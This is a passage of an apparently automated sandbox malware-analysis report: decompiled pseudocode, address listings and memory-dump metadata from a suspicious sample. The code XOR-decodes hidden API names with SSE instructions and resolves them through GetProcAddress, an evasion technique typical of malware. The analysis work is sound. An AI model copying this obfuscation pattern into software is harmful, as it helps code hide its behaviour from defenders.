				intOrPtr _v716;
				intOrPtr _v720;
				intOrPtr _v724;
				intOrPtr _v728;
				intOrPtr _v732;
				intOrPtr _v736;
				char _v740;
				intOrPtr _v744;
				intOrPtr _v748;
				intOrPtr _v752;
				char _v756;
				intOrPtr _v760;
				intOrPtr _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr _v776;
				intOrPtr _v780;
				intOrPtr _v784;
				char _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				char _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				char _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				intOrPtr _v864;
				intOrPtr _v868;
				intOrPtr _v872;
				intOrPtr _v876;
				CHAR* _v880;
				CHAR* _v884;
				CHAR* _v888;
				CHAR* _v892;
				CHAR* _v896;
				CHAR* _v900;
				CHAR* _v904;
				CHAR* _v908;
				CHAR* _v912;
				CHAR* _v916;
				intOrPtr _v928;
				intOrPtr _v932;
				intOrPtr _v936;
				char _v940;
				intOrPtr _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				char _v956;
				intOrPtr _v960;
				intOrPtr _v964;
				intOrPtr _v968;
				intOrPtr _v972;
				intOrPtr _v976;
				intOrPtr _v980;
				intOrPtr _v984;
				char _v988;
				intOrPtr _v992;
				intOrPtr _v996;
				intOrPtr _v1000;
				intOrPtr _v1004;
				intOrPtr _v1008;
				intOrPtr _v1012;
				intOrPtr _v1016;
				char _v1020;
				intOrPtr _v1024;
				intOrPtr _v1028;
				intOrPtr _v1032;
				intOrPtr _v1036;
				intOrPtr _v1040;
				intOrPtr _v1044;
				intOrPtr _v1048;
				char _v1052;
				intOrPtr _v1056;
				intOrPtr _v1060;
				intOrPtr _v1064;
				intOrPtr _v1068;
				intOrPtr _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				char _v1084;
				intOrPtr _v1088;
				intOrPtr _v1092;
				intOrPtr _v1096;
				intOrPtr _v1100;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char _v1116;
				intOrPtr _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				intOrPtr _v1136;
				intOrPtr _v1140;
				intOrPtr _v1144;
				char _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				intOrPtr _v1160;
				intOrPtr _v1164;
				intOrPtr _v1168;
				intOrPtr _v1172;
				intOrPtr _v1176;
				char _v1180;
				intOrPtr _v1184;
				intOrPtr _v1188;
				intOrPtr _v1192;
				intOrPtr _v1196;
				intOrPtr _v1200;
				intOrPtr _v1204;
				intOrPtr _v1208;
				char _v1212;
				void* __ebx;
				signed int _t525;
				void* _t641;
				void* _t857;
				void* _t858;
				void* _t859;
				void* _t863;

				_t641 = _t863;
				_v8 =  *((intOrPtr*)(_t641 + 4));
				_t861 = (_t863 - 0x00000008 & 0xfffffff0) + 4;
				_t525 =  *0x9d2008; // 0x9fef24bf
				_v16 = _t525 ^ (_t863 - 0x00000008 & 0xfffffff0) + 0x00000004;
				_v344 = 0;
				_v347 = 0;
				_v348 = 0;
				_v392 = _v344;
				_v396 = _v347;
				_v400 = _v348;
				_v596 = 0x6223f86e;
				_v592 = 0x77e68264;
				_v956 = _v596;
				_v952 = _v592;
				_v604 = 0x6d766427;
				_v600 = 0x7cad90f6;
				_v948 = _v604;
				_v944 = _v600;
				_v512 =  &_v956;
				_v156 = 0x7579627;
				_v152 = 0x383ec16;
				_v148 = 0x3131468;
				_v144 = 0x7cad90b7;
				_v349 = 0;
				_v404 = _v349;
				asm("movaps xmm0, [ebp-0x90]");
				asm("movaps [ebp-0x750], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x740], xmm0");
				asm("movaps xmm0, [ebp-0x740]");
				asm("pxor xmm0, [ebp-0x750]");
				asm("movaps [ebp-0x760], xmm0");
				asm("movaps xmm0, [ebp-0x760]");
				asm("movups [eax], xmm0");
				_v880 = _v512;
				 *0x9d35d0 = GetProcAddress( *(_t641 + 8), _v880);
				_v351 = 0;
				_v352 = 0;
				_v332 = 0;
				_v556 = _v351;
				_v552 = _v352;
				_v548 = _v332;
				_v612 = 0x6223f86e;
				_v608 = 0x77e68264;
				_v1020 = _v612;
				_v1016 = _v608;
				_v620 = 0x4c67713b;
				_v616 = 0x13c4e4c7;
				_v1012 = _v620;
				_v1008 = _v616;
				_v628 = 0x1004f5cf;
				_v624 = 0xa4ecf818;
				_v1004 = _v628;
				_v1000 = _v624;
				_v636 = 0x9672a99a;
				_v632 = 0xea3e5831;
				_v996 = _v636;
				_v992 = _v632;
				_v380 =  &_v1020;
				_v124 = 0x7579627;
				_v120 = 0x383ec16;
				_v116 = 0x3131468;
				_v112 = 0x7cad90b7;
				_v108 = 0x1004b4a1;
				_v104 = 0xa4ecf818;
				_v100 = 0x9672a99a;
				_v96 = 0xea3e5831;
				_v353 = 0;
				_v544 = _v353;
				asm("movaps xmm0, [ebp-0x70]");
				asm("movaps [ebp-0x780], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x770], xmm0");
				asm("movaps xmm0, [ebp-0x770]");
				asm("pxor xmm0, [ebp-0x780]");
				asm("movaps [ebp-0x790], xmm0");
				asm("movaps xmm0, [ebp-0x790]");
				asm("movups [eax], xmm0");
				_v560 = _v380 + 0x10;
				asm("movaps xmm0, [ebp-0x60]");
				asm("movaps [ebp-0x730], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x720], xmm0");
				asm("movaps xmm0, [ebp-0x720]");
				asm("pxor xmm0, [ebp-0x730]");
				asm("movaps [ebp-0x7a0], xmm0");
				asm("movaps xmm0, [ebp-0x7a0]");
				asm("movups [eax], xmm0");
				_v884 = _v380;
				 *0x9d35d8 = GetProcAddress( *(_t641 + 8), _v884);
				_v354 = 0;
				_v355 = 0;
				_v317 = 0;
				_v540 = _v354;
				_v524 = _v355;
				_v536 = _v317;
				_v644 = 0x7723e26f;
				_v640 = 0x6de69c59;
				_v1052 = _v644;
				_v1048 = _v640;
				_v652 = 0x7662713a;
				_v648 = 0x3dd9e3d2;
				_v1044 = _v652;
				_v1040 = _v648;
				_v660 = 0x1004b4a1;
				_v656 = 0xa4ecf818;
				_v1036 = _v660;
				_v1032 = _v656;
				_v668 = 0x9672a99a;
				_v664 = 0xea3e5831;
				_v1028 = _v668;
				_v1024 = _v664;
				_v376 =  &_v1052;
				_v60 = 0x7579627;
				_v56 = 0x383ec16;
				_v52 = 0x3131468;
				_v48 = 0x7cad90b7;
				_v44 = 0x1004b4a1;
				_v40 = 0xa4ecf818;
				_v36 = 0x9672a99a;
				_v32 = 0xea3e5831;
				_v318 = 0;
				_v532 = _v318;
				asm("movaps xmm0, [ebp-0x30]");
				asm("movaps [ebp-0x7c0], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x7b0], xmm0");
				asm("movaps xmm0, [ebp-0x7b0]");
				asm("pxor xmm0, [ebp-0x7c0]");
				asm("movaps [ebp-0x7d0], xmm0");
				asm("movaps xmm0, [ebp-0x7d0]");
				asm("movups [eax], xmm0");
				_v568 = _v376 + 0x10;
				asm("movaps xmm0, [ebp-0x20]");
				asm("movaps [ebp-0x7f0], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x7e0], xmm0");
				asm("movaps xmm0, [ebp-0x7e0]");
				asm("pxor xmm0, [ebp-0x7f0]");
				asm("movaps [ebp-0x800], xmm0");
				asm("movaps xmm0, [ebp-0x800]");
				asm("movups [eax], xmm0");
				_v888 = _v376;
				 *0x9d35c8 = GetProcAddress( *(_t641 + 8), _v888);
				_v319 = 0;
				_v320 = 0;
				_v321 = 0;
				_v528 = _v319;
				_v484 = _v320;
				_v520 = _v321;
				_v676 = 0x6223f86e;
				_v672 = 0x77e68264;
				_v1084 = _v676;
				_v1080 = _v672;
				_v684 = 0x6d7d7b2b;
				_v680 = 0x3dd9f3d2;
				_v1076 = _v684;
				_v1072 = _v680;
				_v692 = 0x1004b4a1;
				_v688 = 0xa4ecf818;
				_v1068 = _v692;
				_v1064 = _v688;
				_v700 = 0x9672a99a;
				_v696 = 0xea3e5831;
				_v1060 = _v700;
				_v1056 = _v696;
				_v384 =  &_v1084;
				_v316 = 0x7579627;
				_v312 = 0x383ec16;
				_v308 = 0x3131468;
				_v304 = 0x7cad90b7;
				_v300 = 0x1004b4a1;
				_v296 = 0xa4ecf818;
				_v292 = 0x9672a99a;
				_v288 = 0xea3e5831;
				_v322 = 0;
				_v480 = _v322;
				asm("movaps xmm0, [ebp-0x130]");
				asm("movaps [ebp-0x4c0], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x660], xmm0");
				asm("movaps xmm0, [ebp-0x660]");
				asm("pxor xmm0, [ebp-0x4c0]");
				asm("movaps [ebp-0x4d0], xmm0");
				asm("movaps xmm0, [ebp-0x4d0]");
				asm("movups [eax], xmm0");
				_v580 = _v384 + 0x10;
				asm("movaps xmm0, [ebp-0x120]");
				asm("movaps [ebp-0x4f0], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x4e0], xmm0");
				asm("movaps xmm0, [ebp-0x4e0]");
				asm("pxor xmm0, [ebp-0x4f0]");
				asm("movaps [ebp-0x500], xmm0");
				asm("movaps xmm0, [ebp-0x500]");
				asm("movups [eax], xmm0");
				_v892 = _v384;
				 *0x9d35c0 = GetProcAddress( *(_t641 + 8), _v892);
				_v323 = 0;
				_v324 = 0;
				_v325 = 0;
				_v488 = _v323;
				_v492 = _v324;
				_v496 = _v325;
				_v708 = 0x6223f86e;
				_v704 = 0x77e68264;
				_v1116 = _v708;
				_v1112 = _v704;
				_v716 = 0x6d766427;
				_v712 = 0x3dc1e2e2;
				_v1108 = _v716;
				_v1104 = _v712;
				_v724 = 0x1004b4a1;
				_v720 = 0xa4ecf818;
				_v1100 = _v724;
				_v1096 = _v720;
				_v732 = 0x9672a99a;
				_v728 = 0xea3e5831;
				_v1092 = _v732;
				_v1088 = _v728;
				_v388 =  &_v1116;
				_v284 = 0x7579627;
				_v280 = 0x383ec16;
				_v276 = 0x3131468;
				_v272 = 0x7cad90b7;
				_v268 = 0x1004b4a1;
				_v264 = 0xa4ecf818;
				_v260 = 0x9672a99a;
				_v256 = 0xea3e5831;
				_v326 = 0;
				_v500 = _v326;
				asm("movaps xmm0, [ebp-0x110]");
				asm("movaps [ebp-0x520], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x510], xmm0");
				asm("movaps xmm0, [ebp-0x510]");
				asm("pxor xmm0, [ebp-0x520]");
				asm("movaps [ebp-0x530], xmm0");
				asm("movaps xmm0, [ebp-0x530]");
				asm("movups [eax], xmm0");
				_v584 = _v388 + 0x10;
				asm("movaps xmm0, [ebp-0x100]");
				asm("movaps [ebp-0x550], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x540], xmm0");
				asm("movaps xmm0, [ebp-0x540]");
				asm("pxor xmm0, [ebp-0x550]");
				asm("movaps [ebp-0x560], xmm0");
				asm("movaps xmm0, [ebp-0x560]");
				asm("movups [eax], xmm0");
				_v896 = _v388;
				 *0x9d35dc = GetProcAddress( *(_t641 + 8), _v896);
				_v327 = 0;
				_v328 = 0;
				_v329 = 0;
				_v504 = _v327;
				_v508 = _v328;
				_v408 = _v329;
				_v740 = 0x7723e26f;
				_v736 = 0x71e69947;
				_v940 = _v740;
				_v936 = _v736;
				_v748 = 0x657d5d11;
				_v744 = 0x7cadd1d8;
				_v932 = _v748;
				_v928 = _v744;
				_v516 =  &_v940;
				_v140 = 0x7579627;
				_v136 = 0x383ec16;
				_v132 = 0x3131468;
				_v128 = 0x7cad90b7;
				_v330 = 0;
				_v412 = _v330;
				asm("movaps xmm0, [ebp-0x80]");
				asm("movaps [ebp-0x580], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x570], xmm0");
				asm("movaps xmm0, [ebp-0x570]");
				asm("pxor xmm0, [ebp-0x580]");
				asm("movaps [ebp-0x590], xmm0");
				asm("movaps xmm0, [ebp-0x590]");
				asm("movups [ecx], xmm0");
				_v900 = _v516;
				 *0x9d35cc = GetProcAddress( *(_t641 + 8), _v900);
				_v331 = 0;
				_v350 = 0;
				_v333 = 0;
				_v416 = _v331;
				_v420 = _v350;
				_v424 = _v333;
				_v756 = 0x6223f86e;
				_v752 = 0x77e68264;
				_v1148 = _v756;
				_v1144 = _v752;
				_v764 = 0x71766139;
				_v760 = 0x8dddfce;
				_v1140 = _v764;
				_v1136 = _v760;
				_v772 = 0x516adbc8;
				_v768 = 0xa4ecf818;
				_v1132 = _v772;
				_v1128 = _v768;
				_v780 = 0x9672a99a;
				_v776 = 0xea3e5831;
				_v1124 = _v780;
				_v1120 = _v776;
				_v360 =  &_v1148;
				_v252 = 0x7579627;
				_v248 = 0x383ec16;
				_v244 = 0x3131468;
				_v240 = 0x7cad90b7;
				_v236 = 0x1004b4a1;
				_v232 = 0xa4ecf818;
				_v228 = 0x9672a99a;
				_v224 = 0xea3e5831;
				_v334 = 0;
				_v428 = _v334;
				asm("movaps xmm0, [ebp-0xf0]");
				asm("movaps [ebp-0x5b0], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x5a0], xmm0");
				asm("movaps xmm0, [ebp-0x5a0]");
				asm("pxor xmm0, [ebp-0x5b0]");
				asm("movaps [ebp-0x5c0], xmm0");
				asm("movaps xmm0, [ebp-0x5c0]");
				asm("movups [ecx], xmm0");
				_v588 = _v360 + 0x10;
				asm("movaps xmm0, [ebp-0xe0]");
				asm("movaps [ebp-0x5e0], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x5d0], xmm0");
				asm("movaps xmm0, [ebp-0x5d0]");
				asm("pxor xmm0, [ebp-0x5e0]");
				asm("movaps [ebp-0x5f0], xmm0");
				asm("movaps xmm0, [ebp-0x5f0]");
				asm("movups [ecx], xmm0");
				_v904 = _v360;
				 *0x9d35b4 = GetProcAddress( *(_t641 + 8), _v904);
				_v335 = 0;
				_v336 = 0;
				_v337 = 0;
				_v432 = _v335;
				_v436 = _v336;
				_v440 = _v337;
				_v788 = 0x7723e26f;
				_v784 = 0x67ed8945;
				_v1180 = _v788;
				_v1176 = _v784;
				_v796 = 0x7662713a;
				_v792 = 0x3dd9e3d2;
				_v1172 = _v796;
				_v1168 = _v792;
				_v804 = 0x1004b4a1;
				_v800 = 0xa4ecf818;
				_v1164 = _v804;
				_v1160 = _v800;
				_v812 = 0x9672a99a;
				_v808 = 0xea3e5831;
				_v1156 = _v812;
				_v1152 = _v808;
				_v364 =  &_v1180;
				_v220 = 0x7579627;
				_v216 = 0x383ec16;
				_v212 = 0x3131468;
				_v208 = 0x7cad90b7;
				_v204 = 0x1004b4a1;
				_v200 = 0xa4ecf818;
				_v196 = 0x9672a99a;
				_v192 = 0xea3e5831;
				_v338 = 0;
				_v444 = _v338;
				asm("movaps xmm0, [ebp-0xd0]");
				asm("movaps [ebp-0x610], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x600], xmm0");
				asm("movaps xmm0, [ebp-0x600]");
				asm("pxor xmm0, [ebp-0x610]");
				asm("movaps [ebp-0x620], xmm0");
				asm("movaps xmm0, [ebp-0x620]");
				asm("movups [ecx], xmm0");
				_v564 = _v364 + 0x10;
				asm("movaps xmm0, [ebp-0xc0]");
				asm("movaps [ebp-0x640], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x630], xmm0");
				asm("movaps xmm0, [ebp-0x630]");
				asm("pxor xmm0, [ebp-0x640]");
				asm("movaps [ebp-0x650], xmm0");
				asm("movaps xmm0, [ebp-0x650]");
				asm("movups [ecx], xmm0");
				_v908 = _v364;
				 *0x9d35c4 = GetProcAddress( *(_t641 + 8), _v908);
				_v339 = 0;
				_v340 = 0;
				_v341 = 0;
				_v448 = _v339;
				_v452 = _v340;
				_v456 = _v341;
				_v820 = 0x6223f86e;
				_v816 = 0x77e68264;
				_v1212 = _v820;
				_v1208 = _v816;
				_v828 = 0x6772713a;
				_v824 = 0x19c1f9f1;
				_v1204 = _v828;
				_v1200 = _v824;
				_v836 = 0x1004b4a1;
				_v832 = 0xa4ecf818;
				_v1196 = _v836;
				_v1192 = _v832;
				_v844 = 0x9672a99a;
				_v840 = 0xea3e5831;
				_v1188 = _v844;
				_v1184 = _v840;
				_v368 =  &_v1212;
				_v188 = 0x7579627;
				_v184 = 0x383ec16;
				_v180 = 0x3131468;
				_v176 = 0x7cad90b7;
				_v172 = 0x1004b4a1;
				_v168 = 0xa4ecf818;
				_v164 = 0x9672a99a;
				_v160 = 0xea3e5831;
				_v342 = 0;
				_v460 = _v342;
				asm("movaps xmm0, [ebp-0xb0]");
				asm("movaps [ebp-0x670], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x810], xmm0");
				asm("movaps xmm0, [ebp-0x810]");
				asm("pxor xmm0, [ebp-0x670]");
				asm("movaps [ebp-0x680], xmm0");
				asm("movaps xmm0, [ebp-0x680]");
				asm("movups [ecx], xmm0");
				_v572 = _v368 + 0x10;
				asm("movaps xmm0, [ebp-0xa0]");
				asm("movaps [ebp-0x6a0], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x690], xmm0");
				asm("movaps xmm0, [ebp-0x690]");
				asm("pxor xmm0, [ebp-0x6a0]");
				asm("movaps [ebp-0x6b0], xmm0");
				asm("movaps xmm0, [ebp-0x6b0]");
				asm("movups [ecx], xmm0");
				_v912 = _v368;
				 *0x9d35bc = GetProcAddress( *(_t641 + 8), _v912);
				_v343 = 0;
				_v356 = 0;
				_v345 = 0;
				_v464 = _v343;
				_v468 = _v356;
				_v472 = _v345;
				_v852 = 0x6223f86e;
				_v848 = 0x77e68264;
				_v988 = _v852;
				_v984 = _v848;
				_v860 = 0x707c782b;
				_v856 = 0x12ccd8d2;
				_v980 = _v860;
				_v976 = _v856;
				_v868 = 0x1061d8c5;
				_v864 = 0xa4ecf818;
				_v972 = _v868;
				_v968 = _v864;
				_v876 = 0x9672a99a;
				_v872 = 0xea3e5831;
				_v964 = _v876;
				_v960 = _v872;
				_v372 =  &_v988;
				_v92 = 0x7579627;
				_v88 = 0x383ec16;
				_v84 = 0x3131468;
				_v80 = 0x7cad90b7;
				_v76 = 0x1004b4a1;
				_v72 = 0xa4ecf818;
				_v68 = 0x9672a99a;
				_v64 = 0xea3e5831;
				_v346 = 0;
				_v476 = _v346;
				asm("movaps xmm0, [ebp-0x50]");
				asm("movaps [ebp-0x6d0], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x6c0], xmm0");
				asm("movaps xmm0, [ebp-0x6c0]");
				asm("pxor xmm0, [ebp-0x6d0]");
				asm("movaps [ebp-0x6e0], xmm0");
				asm("movaps xmm0, [ebp-0x6e0]");
				asm("movups [ecx], xmm0");
				_v576 = _v372 + 0x10;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movaps [ebp-0x700], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x6f0], xmm0");
				asm("movaps xmm0, [ebp-0x6f0]");
				asm("pxor xmm0, [ebp-0x700]");
				asm("movaps [ebp-0x710], xmm0");
				asm("movaps xmm0, [ebp-0x710]");
				asm("movups [ecx], xmm0");
				_v916 = _v372;
				 *0x9d35b8 = GetProcAddress( *(_t641 + 8), _v916);
				return E009AC2E8(_t639, _t641, _v16 ^ _t861, _v372, _t857, _t858, _t859);
			}

0x009a6b71
0x009a6b80
0x009a6b84
0x009a6b8c
0x009a6b93
0x009a6b98
0x009a6ba0
0x009a6ba8
0x009a6bb4
0x009a6bc0
0x009a6bcc
0x009a6bd7
0x009a6be1
0x009a6bf3
0x009a6bf9
0x009a6c04
0x009a6c0e
0x009a6c20
0x009a6c26
0x009a6c32
0x009a6c3d
0x009a6c47
0x009a6c52
0x009a6c5c
0x009a6c64
0x009a6c70
0x009a6c76
0x009a6c7d
0x009a6c8a
0x009a6c8d
0x009a6c94
0x009a6c9b
0x009a6ca3
0x009a6caa
0x009a6cb7
0x009a6cc0
0x009a6cd7
0x009a6cde
0x009a6ce6
0x009a6cee
0x009a6cfa
0x009a6d06
0x009a6d12
0x009a6d1d
0x009a6d27
0x009a6d39
0x009a6d3f
0x009a6d4a
0x009a6d54
0x009a6d66
0x009a6d6c
0x009a6d77
0x009a6d81
0x009a6d93
0x009a6d99
0x009a6da4
0x009a6dae
0x009a6dc0
0x009a6dc6
0x009a6dd2
0x009a6ddd
0x009a6de4
0x009a6dec
0x009a6df3
0x009a6dfb
0x009a6e02
0x009a6e0a
0x009a6e11
0x009a6e16
0x009a6e22
0x009a6e28
0x009a6e2c
0x009a6e39
0x009a6e3c
0x009a6e43
0x009a6e4a
0x009a6e52
0x009a6e59
0x009a6e66
0x009a6e72
0x009a6e78
0x009a6e7c
0x009a6e89
0x009a6e8c
0x009a6e93
0x009a6e9a
0x009a6ea2
0x009a6ea9
0x009a6eb6
0x009a6ebf
0x009a6ed6
0x009a6edd
0x009a6ee5
0x009a6eed
0x009a6ef9
0x009a6f05
0x009a6f11
0x009a6f1c
0x009a6f26
0x009a6f38
0x009a6f3e
0x009a6f49
0x009a6f53
0x009a6f65
0x009a6f6b
0x009a6f76
0x009a6f80
0x009a6f92
0x009a6f98
0x009a6fa3
0x009a6fad
0x009a6fbf
0x009a6fc5
0x009a6fd1
0x009a6fdc
0x009a6fe3
0x009a6feb
0x009a6ff2
0x009a6ffa
0x009a7001
0x009a7009
0x009a7010
0x009a7015
0x009a7021
0x009a7027
0x009a702b
0x009a7038
0x009a703b
0x009a7042
0x009a7049
0x009a7051
0x009a7058
0x009a7065
0x009a7071
0x009a7077
0x009a707b
0x009a7088
0x009a708b
0x009a7092
0x009a7099
0x009a70a1
0x009a70a8
0x009a70b5
0x009a70be
0x009a70d5
0x009a70dc
0x009a70e4
0x009a70ec
0x009a70f8
0x009a7104
0x009a7110
0x009a711b
0x009a7125
0x009a7137
0x009a713d
0x009a7148
0x009a7152
0x009a7164
0x009a716a
0x009a7175
0x009a717f
0x009a7191
0x009a7197
0x009a71a2
0x009a71ac
0x009a71be
0x009a71c4
0x009a71d0
0x009a71db
0x009a71e5
0x009a71f0
0x009a71fa
0x009a7205
0x009a720f
0x009a721a
0x009a7224
0x009a722c
0x009a7238
0x009a723e
0x009a7245
0x009a7252
0x009a7255
0x009a725c
0x009a7263
0x009a726b
0x009a7272
0x009a727f
0x009a728b
0x009a7291
0x009a7298
0x009a72a5
0x009a72a8
0x009a72af
0x009a72b6
0x009a72be
0x009a72c5
0x009a72d2
0x009a72db
0x009a72f2
0x009a72f9
0x009a7301
0x009a7309
0x009a7315
0x009a7321
0x009a732d
0x009a7338
0x009a7342
0x009a7354
0x009a735a
0x009a7365
0x009a736f
0x009a7381
0x009a7387
0x009a7392
0x009a739c
0x009a73ae
0x009a73b4
0x009a73bf
0x009a73c9
0x009a73db
0x009a73e1
0x009a73ed
0x009a73f8
0x009a7402
0x009a740d
0x009a7417
0x009a7422
0x009a742c
0x009a7437
0x009a7441
0x009a7449
0x009a7455
0x009a745b
0x009a7462
0x009a746f
0x009a7472
0x009a7479
0x009a7480
0x009a7488
0x009a748f
0x009a749c
0x009a74a8
0x009a74ae
0x009a74b5
0x009a74c2
0x009a74c5
0x009a74cc
0x009a74d3
0x009a74db
0x009a74e2
0x009a74ef
0x009a74f8
0x009a750f
0x009a7516
0x009a751e
0x009a7526
0x009a7532
0x009a753e
0x009a754a
0x009a7555
0x009a755f
0x009a7571
0x009a7577
0x009a7582
0x009a758c
0x009a759e
0x009a75a4
0x009a75b0
0x009a75bb
0x009a75c2
0x009a75ca
0x009a75d1
0x009a75d6
0x009a75e2
0x009a75e8
0x009a75ec
0x009a75f9
0x009a75fc
0x009a7603
0x009a760a
0x009a7612
0x009a7619
0x009a7626
0x009a762f
0x009a7646
0x009a764d
0x009a7655
0x009a765d
0x009a7669
0x009a7675
0x009a7681
0x009a768c
0x009a7696
0x009a76a8
0x009a76ae
0x009a76b9
0x009a76c3
0x009a76d5
0x009a76db
0x009a76e6
0x009a76f0
0x009a7702
0x009a7708
0x009a7713
0x009a771d
0x009a772f
0x009a7735
0x009a7741
0x009a774c
0x009a7756
0x009a7761
0x009a776b
0x009a7776
0x009a7780
0x009a778b
0x009a7795
0x009a779d
0x009a77a9
0x009a77af
0x009a77b6
0x009a77c3
0x009a77c6
0x009a77cd
0x009a77d4
0x009a77dc
0x009a77e3
0x009a77f0
0x009a77fc
0x009a7802
0x009a7809
0x009a7816
0x009a7819
0x009a7820
0x009a7827
0x009a782f
0x009a7836
0x009a7843
0x009a784c
0x009a7863
0x009a786a
0x009a7872
0x009a787a
0x009a7886
0x009a7892
0x009a789e
0x009a78a9
0x009a78b3
0x009a78c5
0x009a78cb
0x009a78d6
0x009a78e0
0x009a78f2
0x009a78f8
0x009a7903
0x009a790d
0x009a791f
0x009a7925
0x009a7930
0x009a793a
0x009a794c
0x009a7952
0x009a795e
0x009a7969
0x009a7973
0x009a797e
0x009a7988
0x009a7993
0x009a799d
0x009a79a8
0x009a79b2
0x009a79ba
0x009a79c6
0x009a79cc
0x009a79d3
0x009a79e0
0x009a79e3
0x009a79ea
0x009a79f1
0x009a79f9
0x009a7a00
0x009a7a0d
0x009a7a19
0x009a7a1f
0x009a7a26
0x009a7a33
0x009a7a36
0x009a7a3d
0x009a7a44
0x009a7a4c
0x009a7a53
0x009a7a60
0x009a7a69
0x009a7a80
0x009a7a87
0x009a7a8f
0x009a7a97
0x009a7aa3
0x009a7aaf
0x009a7abb
0x009a7ac6
0x009a7ad0
0x009a7ae2
0x009a7ae8
0x009a7af3
0x009a7afd
0x009a7b0f
0x009a7b15
0x009a7b20
0x009a7b2a
0x009a7b3c
0x009a7b42
0x009a7b4d
0x009a7b57
0x009a7b69
0x009a7b6f
0x009a7b7b
0x009a7b86
0x009a7b90
0x009a7b9b
0x009a7ba5
0x009a7bb0
0x009a7bba
0x009a7bc5
0x009a7bcf
0x009a7bd7
0x009a7be3
0x009a7be9
0x009a7bf0
0x009a7bfd
0x009a7c00
0x009a7c07
0x009a7c0e
0x009a7c16
0x009a7c1d
0x009a7c2a
0x009a7c36
0x009a7c3c
0x009a7c43
0x009a7c50
0x009a7c53
0x009a7c5a
0x009a7c61
0x009a7c69
0x009a7c70
0x009a7c7d
0x009a7c86
0x009a7c9d
0x009a7ca4
0x009a7cac
0x009a7cb4
0x009a7cc0
0x009a7ccc
0x009a7cd8
0x009a7ce3
0x009a7ced
0x009a7cff
0x009a7d05
0x009a7d10
0x009a7d1a
0x009a7d2c
0x009a7d32
0x009a7d3d
0x009a7d47
0x009a7d59
0x009a7d5f
0x009a7d6a
0x009a7d74
0x009a7d86
0x009a7d8c
0x009a7d98
0x009a7da3
0x009a7daa
0x009a7db2
0x009a7db9
0x009a7dc1
0x009a7dc8
0x009a7dd0
0x009a7dd7
0x009a7ddc
0x009a7de8
0x009a7dee
0x009a7df2
0x009a7dff
0x009a7e02
0x009a7e09
0x009a7e10
0x009a7e18
0x009a7e1f
0x009a7e2c
0x009a7e38
0x009a7e3e
0x009a7e42
0x009a7e4f
0x009a7e52
0x009a7e59
0x009a7e60
0x009a7e68
0x009a7e6f
0x009a7e7c
0x009a7e85
0x009a7e9c
0x009a7eb1

APIs

GetProcAddress.KERNEL32(?,?), ref: 009A6CD1
GetProcAddress.KERNEL32(?,?), ref: 009A6ED0
GetProcAddress.KERNEL32(?,?), ref: 009A70CF
GetProcAddress.KERNEL32(?,?), ref: 009A72EC
GetProcAddress.KERNEL32(?,?), ref: 009A7509
GetProcAddress.KERNEL32(?,?), ref: 009A7640
GetProcAddress.KERNEL32(?,?), ref: 009A785D
GetProcAddress.KERNEL32(?,?), ref: 009A7A7A
GetProcAddress.KERNEL32(?,?), ref: 009A7C97
GetProcAddress.KERNEL32(?,?), ref: 009A7E96

Strings

:qbv, xrefs: 009A78D6
1X>, xrefs: 009A6F9E
o#w, xrefs: 009A78A9
1X>, xrefs: 009A73BA
1X>, xrefs: 009A7B48
1X>, xrefs: 009A79A3
o#w, xrefs: 009A6F1C
1X>, xrefs: 009A792B
1X>, xrefs: 009A7D65
1X>, xrefs: 009A7786
+{}m, xrefs: 009A7148
:qrg, xrefs: 009A7AF3
1X>, xrefs: 009A719D
o#w, xrefs: 009A7555
+x|p, xrefs: 009A7D10
1X>, xrefs: 009A7004
'dvm, xrefs: 009A7365
1X>, xrefs: 009A7432
:qbv, xrefs: 009A6F49
9avq, xrefs: 009A76B9
'dvm, xrefs: 009A6C04
;qgL, xrefs: 009A6D4A
1X>, xrefs: 009A770E
1X>, xrefs: 009A6D9F
1X>, xrefs: 009A7215
1X>, xrefs: 009A6E05
1X>, xrefs: 009A7DCB
1X>, xrefs: 009A7BC0

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

